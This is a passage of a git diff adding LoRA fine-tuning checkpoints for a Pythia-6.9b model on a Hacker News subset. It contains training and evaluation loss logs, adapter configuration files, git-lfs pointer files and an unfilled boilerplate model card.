"epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.76879655682048e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..0fa1a5c9ca7f0046f8c78ffa9efc97f9cf88c37b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c67495600cab4d031b8630dfce3155e4439d6cdd5f45f86d5c0cfb35164ab1b4 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..dd4f25ae3839b30a60d6d8df96bcbc9535b20fca --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3b1b7541c1d0c6f35db2fc51e8d662ee80be5a9bc7b45c75ad122f48e2ef54e3 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..846c31e0418b3b3196b4e9c5d730a866c947d1d6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:33d7857a6e3603508425c326c1a1dee439799d2c72bbfc8afcabbb8578757780 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..31e05b86275fed970cdeadc24115c84e19feae09 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f73703efe567bf60e5ab219b736abd5d1183aaab558b64454b92f8bc5cf1b3fd +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..07fcca2a18d460e8d6bd4138f24af8363a1ed16f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/trainer_state.json @@ -0,0 +1,393 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.2, + "eval_steps": 10, + "global_step": 240, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.93265727668224e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..7416a8fb05b022a522c19c42316385c215644e69 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0eda3713b60b7e8a9dc373517166583e4e055180da55095d6c97473e98f593ad +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..6b9de342630348ae21df865842dca0238bd1fca7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0efdf533fba5d3e77325b6a9bab0692d6d64bc0d4975a53216623252838a56f9 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..90df82c0a610ae490c2592c79d46fe23cde8d351 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1a5b7a10b9f8de84d4eac8f0b5437669695e0a3ed004e055b39340577de17c55 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/scheduler.pt new file mode 100644 index 